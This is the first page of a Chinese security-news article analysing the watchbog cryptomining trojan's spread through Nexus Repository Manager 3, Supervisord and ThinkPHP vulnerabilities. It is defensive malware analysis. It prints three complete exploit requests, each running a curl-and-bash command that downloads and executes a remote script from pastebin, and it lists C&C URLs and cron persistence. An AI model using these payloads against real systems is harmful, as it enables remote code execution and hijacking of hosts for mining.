欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复

来源:本站整理 作者:佚名 时间:2019-03-12 TAG: 我要投稿

近日,阿里云安全监测到watchbog挖矿木马使用新曝光的Nexus Repository Manager 3远程代码执行漏洞(CVE-2019-7238)进行攻击并挖矿的事件。
值得注意的是,这一攻击开始的时间(2月24日)与2月5日上述产品的母公司发布漏洞公告相隔仅仅半个多月,再次印证了“漏洞从曝光到被黑产用于挖矿的时间越来越短”。此外,攻击者还利用了Supervisord、ThinkPHP等产品的漏洞进行攻击。
本文分析了该木马的内部结构和传播方式,并就如何清理、预防类似挖矿木马给出了安全建议。 
挖矿木马传播分析
攻击者主要通过直接攻击主机服务的漏洞来进行木马的传播,也就是说它目前不具备蠕虫的传染性,这一点上类似8220团伙。即便如此,攻击者仍然获取了大量的肉鸡。
尤其2月24日,攻击者从原本只攻击ThinkPHP和Supervisord,到加入了Nexus Repository Manager 3的攻击代码,可以看到其矿池算力当天即飙升约3倍,达到了210KH/s左右(盈利约25美元/天),意味着最高时可能有1~2万台主机受控进行挖矿。

以下为阿里云安全采集到的3种攻击payload
(1)针对Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)的利用
POST /service/extdirect HTTP/1.1Host: 【victim_ip】:8081X-Requested-With: XMLHttpRequestContent-Type: application/json {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby')"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}
(2)针对Supervisord远程命令执行漏洞(CVE-2017-11610)的利用
POST /RPC2 HTTP/1.1Host: 【victim_ip】:9001Content-Type: application/x-www-form-urlencoded u0002u0002supervisor.supervisord.options.warnings.linecache.os.systemu0002
u0002
u0002curl https://pastebin.com/raw/zXcDajSs -o /tmp/babyu0002u0002u0002
(3)针对ThinkPHP远程命令执行漏洞的利用
POST /index.php?s=captcha HTTP/1.1
Host: 【victim_host】
Content-Type: application/x-www-form-urlencoded
 
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
以上三种payload的目的都是相同的,那就是控制主机执行以下命令
curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
木马功能结构分析

被攻击的主机受控访问https://pastebin.com/raw/zXcDajSs,经多次跳转后,会得到如下图所示的shell脚本,其包含cronlow(), cronhigh(), flyaway()等多个函数。

分析后得出,该脚本主要包含以下几个模块:
1.挖矿模块

挖矿模块的download()函数,会从https://ptpb.pw/D8r9(即$mi_64解码后的内容)下载由xmrig改写的挖矿程序,保存为/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/watchbog,并从https://ptpb.pw/hgZI下载配置文件,之后启动挖矿。
另一个函数testa()也是类似,只不过它下载的是xmr-stak挖矿程序。
2.持久化模块
将要执行的恶意命令写入/etc/cron.d/root等多个文件

3.c&c模块
c&c模块主要在dragon()和flyaway()函数中实现。

如下图所示为解码后的dragon函数

 
它会依次请求https://pastebin.com/raw/05p0fTYd等多个地址,并执行收到的命令。有趣的是,这些地址目前存放的都是一些普通单词,可能是木马作者留待将来使用。
flyaway()函数则与dragon()稍有不同,它会先从https://pixeldra.in/api/download/8iFEEg下载/tmp/elavate。
 

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载